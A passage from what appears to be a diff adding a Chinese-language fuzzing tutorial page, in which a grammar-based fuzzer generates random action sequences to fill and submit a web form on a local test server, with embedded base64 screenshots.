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AAAAAsECABgAAAADAAgEaAAAAAAALBGgAAAAAACwQoAEAAAAAsECABgAAAADAAgEaAAAAAAALBGgAAAAAACwQoAEAAAAAsECABgAAAADAAgEaAAAAAAALBGgAAAAAACwQoAEAAAAAsECABgAAAADAAgEaAAAAAAALBGgAAAAAACwQoAEAAAAAsECABgAAAADAAgEaAAAAAAALBGgAAAAAACwQoAEAAAAAsECABgAAAADAAgEaAAAAAAALBGgAAAAAACwQoAEAAAAAsECABgAAAADAAgEaAAAAAAALBGgAAAAAACwQoAEAAAAAsECABgAAAADAAgEaAAAAAAALBGgAAAAAACwQoAEAAAAAsECABgAAAADAAgEaAAAAAAALBGgAAAAAACwQoAEAAAAAsECABgAAAADAAgEaAAAAAAALBGgAAAAAACwQoAEAAAAAsECABgAAAADAAgEaAAAAAAALBGgAAAAAACwQoAEAAAAAsECABgAAAADAAgEaAAAAAAALBGgAAAAAACwQoAEAAAAAsECABgAAAADAAgEaAAAAAAALBGgAAAAAACwQoAEAAAAAsECABgAAAADAAgEaAAAAAAALBGgAAAAAACwQoAEAAAAAsPD/AQ90SVIKUpEoAAAAAElFTkSuQmCC
+)
+
+当然，我们也可以执行从语法生成的动作序列。 这使我们可以使用与表单中给定类型匹配的值来一次又一次地填写表单。
+
+```py
+gui_driver.get(httpd_url)
+
+```
+
+```py
+gui_fuzzer = GrammarFuzzer(state_grammar)
+
+```
+
+```py
+while True:
+    action = gui_fuzzer.fuzz()
+    if action.find('submit(') > 0:
+        break
+
+```
+
+```py
+print(action)
+
+```
+
+```py
+fill('zip', '6')
+fill('name', 'B.!')
+fill('city', 'C ')
+check('terms', False)
+fill('email', 'Y@F')
+submit('submit')
+
+```
+
+```py
+gui_runner.run(action)
+
+```
+
+```py
+("fill('zip', '6')\nfill('name', 'B.!')\nfill('city', 'C ')\ncheck('terms', False)\nfill('email', 'Y@F')\nsubmit('submit')\n",
+ 'PASS')
+
+```
+
+```py
+Image(gui_driver.get_screenshot_as_png())
+
+```
+
+![](data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAA9AAAAE7CAYAAAA1smmAAAAgAElEQVR4nOyd2U8UzdfH6x/o27maq7mYCy64ICExmZAYEmIIMcQYiDEaiUYDRs3jYxQ1brgrisYF1weiGDG4C8HwouBGcEEiAsJPXFEEF3aQZZj5vhekyq7u6pkeGEDxfJK6oLu6urqnu6lvnVPnMBAEQRAEQRAEQRAEERQ21R0gCIIgCIIgCIIgiD8BEtAEQRAEQRAEQRAEYQMS0ARBEARBEARBEARhAxLQBEEQBEEQBEEQBGEDEtAEQRAEQRAEQRAEYQMS0ARBEARBEARBEARhAxLQBEEQBEEQBEEQBGEDEtAEQRAEQRAEQRAEYQMS0ARBEARBEARBEARhAxLQBEEQBEEQBEEQBGGD0AQ0Y1SoUKFChQoVKlSoUKFChcr0KiSgqVChQoUKFSpUqFChQoUKFRuFBDQVKlSoUKFChQoVKlSoUKFio5CApkKFChUqVKhQoUKFChUqVGyUSRHQBEEQBEEQBEEQBPGnQQKaIAiCIAiCIAiCI